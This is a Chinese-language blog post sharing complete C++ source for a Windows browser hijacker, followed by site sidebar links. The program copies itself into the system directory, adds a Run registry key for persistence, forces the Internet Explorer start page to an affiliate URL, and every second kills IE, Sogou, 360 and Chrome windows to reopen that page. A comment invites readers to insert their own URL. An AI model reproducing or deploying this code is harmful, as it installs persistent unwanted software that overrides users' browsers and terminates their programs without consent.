基于注册表的,比较水。哈哈……
#include "stdafx.h" #include#include #include #include #include #include #include void copyrun(); BOOL GetProcess(DWORD pid); DWORD GetProcessIdByName(char* name); void mypage(); int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // TODO: Place code here. copyrun(); if (INVALID_HANDLE_VALUE == CreateFile("C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) { ExitProcess(0); } mypage(); DWORD explorer_ID = GetProcessIdByName("explorer.exe"); if (explorer_ID) { //not zero while(1) { Sleep(1000); GetProcess(explorer_ID); } } return 0; } BOOL GetProcess(DWORD pid) { HANDLE hProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //建立进程快照 if (INVALID_HANDLE_VALUE == hProcess) { printf("获取进程信息失败!!!\n"); return FALSE; } //成功获取进程信息 PROCESSENTRY32 pe32; pe32.dwSize = sizeof(PROCESSENTRY32); BOOL moreProc = Process32First(hProcess, &pe32); while (moreProc) { //枚举所有进程 _tprintf(_T("进程名称:%s\n"), pe32.szExeFile); //parentid -> char if (pe32.th32ParentProcessID==pid) { if(!stricmp(pe32.szExeFile,"iexplore.exe") \ ||!stricmp(pe32.szExeFile,"SogouExplorer.exe")\ ||!stricmp(pe32.szExeFile,"360se.exe")\ ||!stricmp(pe32.szExeFile,"chrome.exe")) { char parentid[10]; int kill_ret = 0; memset(parentid,0,10); itoa(pe32.th32ParentProcessID,parentid,10); HANDLE hKillProcess = NULL; hKillProcess = OpenProcess(PROCESS_TERMINATE,FALSE,pe32.th32ProcessID); if(hKillProcess != NULL) kill_ret = TerminateProcess(hKillProcess,0); if(kill_ret) ShellExecute(NULL,"open","C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE","http://www.2345.com/?kmianfeiwangba",NULL,SW_SHOWNORMAL); } } moreProc = Process32Next(hProcess, &pe32); } CloseHandle(hProcess); //释放进程快照 return TRUE; } DWORD GetProcessIdByName(char* name) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if (hSnapshot == INVALID_HANDLE_VALUE) { CloseHandle(hSnapshot); return 0; } PROCESSENTRY32 pe32; DWORD id = 0; pe32.dwSize = sizeof(PROCESSENTRY32); if ( !Process32First(hSnapshot,&pe32) ) { CloseHandle(hSnapshot); return 0; } while ( 1 ) { pe32.dwSize = sizeof(PROCESSENTRY32); if (Process32Next(hSnapshot,&pe32) == FALSE) break; if ( strcmp(pe32.szExeFile,name)==0 ) { return pe32.th32ProcessID; } } CloseHandle(hSnapshot); return 0; } void mypage() { HKEY hKey; LONG lRet; lRet = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\Main", 0,KEY_SET_VALUE, &hKey ); if( lRet != ERROR_SUCCESS ) { return ; } LPCSTR data_Set="Start Page"; //只改以下一行内容,将字符串内容改成你想要的主页 LPCSTR da="http://www.2345.com/?kmianfeiwangba"; // const BYTE * ta=(BYTE*)da; DWORD length=strlen((char*)ta)+1; lRet=RegSetValueExA(hKey,data_Set,0,REG_SZ,ta,length); if(lRet!=ERROR_SUCCESS) { return ; } RegCloseKey(hKey); return ; } void copyrun() { char modlepath[256]; char syspath[256]; GetModuleFileName(0,modlepath,256);//取得程序名字 GetSystemDirectory(syspath,256); CopyFile(modlepath,strcat(syspath,"\\2345.exe"),1); //加启动 ==================================== HKEY hKey; LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey); if(lRet == ERROR_SUCCESS) { // char pFileName = {0}; //DWORD dwRet ; // GetModuleFileName(NULL, pFileName, MAX_PATH); lRet = RegSetValueEx(hKey, "get2B", 0, REG_SZ, (BYTE *)syspath, strlen(syspath)); RegCloseKey(hKey); if(lRet != ERROR_SUCCESS) { } } RegCloseKey(hKey); }
收藏的用户(0) X
正在加载信息~
推荐阅读
最新回复 (0)
站点信息
- 文章2300
- 用户1336
- 访客10861715
每日一句
True success inspires others to act.
真正的成功是激励他人行动。
真正的成功是激励他人行动。
语法错误: 意外的令牌“标识符”
全面理解Gradle - 定义Task
Motrix全能下载工具 (支持 BT / 磁力链 / 百度网盘)
谷歌Pixel正在开始起飞?
获取ElementUI Table排序后的数据
Run-Time Check Failure #0 - The value of ESP was not properly saved across a function call. This is
亲测!虚拟机VirtualBox安装MAC OS 10.12图文教程
华为手机app闪退重启界面清空log日志问题
android ndk开发之asm/page.h: not found
手机屏幕碎了怎么备份操作?
免ROOT实现模拟点击任意位置
新手必看修改DSDT教程
thinkpad t470p装黑苹果系统10.13.2
新会员